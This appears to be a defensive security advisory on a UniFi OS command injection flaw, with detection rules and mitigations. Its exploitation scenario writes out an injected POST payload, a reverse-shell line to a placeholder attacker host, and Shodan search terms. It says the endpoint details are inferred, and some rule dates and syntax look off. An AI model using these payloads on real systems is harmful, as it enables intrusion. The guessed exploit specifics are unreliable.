CVE-2026-33000

Executive Summary

CVE-2026-33000 is an Improper Input Validation vulnerability (CWE-20) in UniFi OS devices that permits Command Injection when exploited by a malicious actor with network access and high privileges. The vulnerability carries a critical CVSS score of 9.1, indicating severe potential for confidentiality, integrity, and availability impacts. Organizations running UniFi OS-based networking appliances (e.g., Dream Machine, Cloud Key, or similar UniFi controllers) should treat this as a high-priority security risk. While exploitation requires elevated privileges, the attack surface is network-accessible, and successful exploitation grants arbitrary command execution on the underlying operating system. Currently, there is no confirmed patch or vendor mitigation, leaving affected deployments exposed until a fix is released.

Technical Analysis

The root cause of CVE-2026-33000 lies in CWE-20 (Improper Input Validation) within UniFi OS. The UniFi OS platform, which serves as the operating system for Ubiquiti's UniFi networking hardware and controllers, exposes various management interfaces—web UI, API endpoints, and CLI utilities—that process user-supplied input. The vulnerability allows a high-privilege authenticated attacker, or an unauthenticated attacker who has obtained high-privilege credentials, to inject operating system commands through a field that fails to properly validate or sanitize input before passing it to a system shell or command execution function.

Attack surface analysis:

• Authentication barrier: The attacker must possess high-privilege access (e.g., administrator-level credentials on the UniFi controller). This could be achieved through credential stuffing, phishing, or prior compromise of an admin account.
• Network access: The attacker must be able to reach the UniFi OS management interface over the network (typically ports 80, 443, or 8443 for the controller web UI).
• Injection vector: The flaw is triggered by submitting crafted input through a legitimate management function—likely a configuration setting, network parameter, or diagnostic tool—that concatenates user input into a shell command without proper escaping or validation.

Code-level mechanism (inferred from CWE-20 and Command Injection characteristics):

• The application receives a parameter (e.g., an IP address, hostname, or file name) via HTTP POST request.
• The parameter is passed to a function that executes a system command (e.g., system(), exec(), or popen()) without sanitization.
• An attacker appends shell metacharacters (;, &&, |, backticks, $()) and a malicious command to the legitimate input.
• The shell interprets the injected command, executing it with the privileges of the UniFi OS service user (often root).

Because the vendor has not released a patch or advisory details, the exact affected endpoint/function is unknown. However, the vulnerability class strongly suggests it exists in a network-facing component such as the WAN/LAN configuration wizard, a ping/diagnostic tool, or an API endpoint used for device provisioning.

Exploitation Scenarios

Scenario: Compromised Admin Account on an Internet-Facing UniFi Controller

1. Reconnaissance (Target Identification)
   The attacker scans the internet or uses Shodan with dorks such as http.title:"UniFi" or product:"Ubiquiti UniFi" port:8443 to identify exposed UniFi OS management interfaces. They prioritize high-value targets: enterprise networks, MSP-managed sites, or critical infrastructure using UniFi gear.

2. Privilege Escalation / Credential Access
   The attacker performs credential stuffing or phishing against the admin login page (e.g., /manage or /login) of the UniFi controller. They may also use previously breached admin credentials from other services (password reuse). Given the requirement for "high privileges," the attacker must obtain an admin role (not just a viewer or operator).

3. Weaponization & Trigger
   After logging in as admin, the attacker navigates to a configuration or diagnostic feature that accepts raw input. For example, the "Network Settings" → "Static Routes" or "Site Settings" → "Country" field. Using Burp Suite (or manual HTTP requests), they submit a POST request to the vulnerable endpoint with a crafted payload:

   POST /api/s/default/rest/networkconf HTTP/1.1
   Host: target:8443
   Cookie: session=<admin_session>
   Content-Type: application/json
   
   {"key":"networkconf","name":"LAN","ip_subnet":"192.168.1.1/24; id; whoami"}
   

   The input 192.168.1.1/24; id; whoami is appended to a shell command like ip route add 192.168.1.1/24 dev br0 — the ; terminates the legitimate command, and id; whoami executes as new commands.

4. Payload Execution
   The shell executes the injected commands, returning output in the application's response (blind injection is also possible if no output is reflected, using reverse shell payloads). For a reverse shell:

   ip_subnet":"192.168.1.1/24; bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
   

   The attacker's listener receives a root shell on the UniFi device.

5. Post-Exploitation

   • Persistence: Add a cron job or SSH key for continued access.
   • Lateral Movement: Use the compromised UniFi device as a pivot point into the internal network; capture VLAN traffic or exploit trust relationships.
   • Data Exfiltration: Dump configuration files, WiFi PSKs, and VPN credentials stored on the device.
   • Availability Impact: Disable network interfaces, drop firewall rules, or brick the device (with CVSS 9.1, availability impact is "High").

Impact Assessment

The CVSS 9.1 score reflects a critical vulnerability with:

• AV:N (Network) — Exploitable remotely over the network.
• AC:L (Low) — No special conditions beyond network access and high privileges.
• PR:H (High) — Requires high-privilege account (admin), reducing attack likelihood but not severity.
• UI:N (None) — No user interaction required once privileges are held.
• S:C (Scope Changed) — The compromised component (UniFi OS) impacts resources beyond its security scope (the underlying OS and connected network).

Business Impact:

• Confidentiality: Full OS-level file access; theft of network credentials, secrets, and customer data.
• Integrity: Arbitrary command execution allows modification of firewall rules, firmware, or DNS settings, enabling man-in-the-middle attacks or persistent backdoors.
• Availability: Device can be bricked, or network segments taken offline, disrupting critical services.

Blast Radius:

• Compromised UniFi devices act as gateways to the entire LAN. Attackers can sniff traffic, pivot to other hosts, and compromise other network devices (switches, APs) managed by the UniFi controller.
• For MSPs or multi-tenant Unifi controllers, a single exploit compromises tenant isolation, affecting many client networks.
• Regulatory impact: PCI-DSS, HIPAA, or GDPR violations if customer data is exposed.

EPSS Note: With an EPSS probability of 0.01248 (66.4th percentile), exploitation likelihood is moderate relative to known CVEs, but the critical score makes it a priority for monitoring.

Detection Guidance

Sigma Rule

title: CVE-2026-33000 - UniFi OS Command Injection Attempt
id: 6f0d3a1e-8c1a-4f0a-9b2a-1a2b3c4d5e6f
status: experimental
description: Detects HTTP requests to UniFi OS management endpoints containing shell metacharacters in common parameter fields, indicating Command Injection attempts.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-33000
author: Valters IT Security Team
date: 2025/11/15
logsource:
  category: webserver
  product: nginx
  definition: 'Target: UniFi OS controller (ports 80, 443, 8443)'
detection:
  selection:
    http.uri|contains:
      - '/api/s/default/rest/'
      - '/api/s/'
      - '/manage'
    http.params|contains:
      - ';'
      - '&&'
      - '|'
      - '`'
      - '$('
    http.method: POST
  condition: selection
falsepositives:
  - Legitimate admin actions with special characters (rare)
  - Misconfigured automations sending encoded data
level: high

YARA Rule

rule CVE_2026_33000_UniFi_OS_CmdInjection {
    meta:
        author = "Valters IT Security Team"
        description = "Detects command injection payloads targeting UniFi OS (CVE-2026-33000)"
        date = "2025-11-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-33000"
        score = 80
    strings:
        $s1 = "api/s/default/rest/" ascii wide nocase
        $s2 = "/api/s/" ascii wide nocase
        $s3 = "ip_subnet" ascii wide nocase
        $s4 = "networkconf" ascii wide nocase
        $s5 = "wan" ascii wide nocase
        $s6 = "static-route" ascii wide nocase
        $cmd1 = "whoami" ascii wide nocase
        $cmd2 = "id" ascii wide nocase
        $cmd3 = "/bin/sh" ascii wide nocase
        $cmd4 = "bash -i" ascii wide nocase
        $semi = ";" ascii
        $pipe = "|" ascii
        $andand = "&&" ascii
        $dollar = "$(" ascii ascii
    condition:
        any of ($s*) and any of ($cmd*) and any of ($semi, $pipe, $andand, $dollar)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-33000 - UniFi OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/s/"; http_uri; pcre:"/(?:;|&&|\||`|\$\()\s*(?:whoami|id|bash|sh|nc|wget|curl|python)/i"; sid:202633000; rev:1; metadata:attack_target NETWORK_DEVICE, deployment DLP, cve CVE-2026-33000;
)

Elastic Detection

sequence by source.ip with maxspan=5m
  [ network where destination.port in (80, 443, 8443) and network.protocol == "http" and
    process.name == "nginx" and
    http.request.method == "POST" and
    (http.request.uri contains "/api/s/" or http.request.uri contains "/manage") and
    http.request.body.text matches ".*(;|&&|\||`|\\$\\().*(whoami|id|bash|nc|wget).*" ]
  [ network where destination.port in (80, 443, 8443) and network.protocol == "http" and
    http.response.status_code == 200 and
    (http.response.body.text matches ".*uid=.*gid=.*" or http.response.body.text contains "root") ]

Splunk SPL Query

index=web sourcetype=nginx:plus:access OR sourcetype=suricata http_method=POST
  (uri="/api/s/*" OR uri="/manage/*")
  AND (body="*;*" OR body="*&&*" OR body="*|*" OR body="*`*" OR body="*$(*")
  | rex field=body "(?<cmd>[a-zA-Z0-9_\-\/]+)\s*$" 
  | where cmd IN ("whoami", "id", "bash", "sh", "nc", "wget", "curl", "python")
  | stats count by src_ip, uri, cmd, _time
  | sort - _time

Wazuh OSSEC Rule

<group name="unifi_os_cmd_injection,">
  <rule id="202633" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\./api/s/|\./manage</field>
    <field name="method">POST</field>
    <regex>url, \/(api\/s|manage)</regex>
    <regex>body, (;|&&|||`|\$\().*(whoami|id|bash|sh|nc|wget)</regex>
    <description>CVE-2026-33000: UniFi OS Command Injection attempt detected from $srcip</description>
    <group>attack, command_injection,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED (Confidence 0/4) — No patch, vendor advisory, or fixed version has been identified for CVE-2026-33000 as of this report. The NVD description does not mention any patched versions, and vendor sources remain silent.

Immediate Mitigations (until patch is available):

1. Restrict network access: Do not expose the UniFi OS management interface (ports 80, 443, 8443) directly to the internet. Place the controller behind a VPN or limit access via firewall ACLs to trusted admin IPs only.
2. Enforce MFA: Require multi-factor authentication for all admin accounts to reduce the risk of credential compromise that could reach the "high privileges" precondition.
3. Monitor audit logs: Actively watch for unusual POST requests to management APIs, shell metacharacters in request bodies, and long-running processes spawned by the UniFi service.
4. Deploy WAF rules: Use the provided Suricata/Sigma rules in an inline Web Application Firewall to block requests matching Command Injection patterns.

Patch/Upgrade Steps:

• Monitor the Ubiquiti UniFi OS download/release page and NVD for CVE-2026-33000 updates.
• When a patched UniFi OS version is released, apply it immediately after testing in a staging environment. This is a critical (9.1) vulnerability; the patch should be prioritized over routine maintenance windows.
• If Ubiquiti provides an advisory with a specific fixed version (e.g., "fixed in UniFi OS 3.2.10"), upgrade to that version or later.

Long-Term Hardening:

• Implement the principle of least privilege: limit the number of admin users, use role-based access (e.g., only "Super Admin" for critical changes), and rotate credentials regularly.
• Segment the management plane from the data plane: place UniFi controllers in a dedicated management VLAN with strict egress rules.
• Enable robust logging and centralize logs to a SIEM for correlating network device behavior.
• Subscribe to Ubiquiti's security advisory RSS feed and CISA KEV updates for the latest threat intel on this and related CVEs.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-33000
2. CWE-20 (Improper Input Validation): https://cwe.mitre.org/data/definitions/20.html
3. MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. Ubiquiti UniFi OS Release Notes (for future patch verification): https://ui.com/download/unifi
5. CISA Known Exploited Vulnerabilities Catalog (CVE-2026-33000 is NOT currently listed, but should be re-checked periodically): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns: As of this writing, no active campaigns, exploit-in-the-wild evidence, or public PoC has been reported for CVE-2026-33000. However, given the critical severity and the historical targeting of network appliances (e.g., recent attacks on similar enterprise-grade routers), it is expected that threat actors will weaponize this flaw once a full technical write-up emerges. Continuous monitoring of dark web forums and exploit databases is recommended.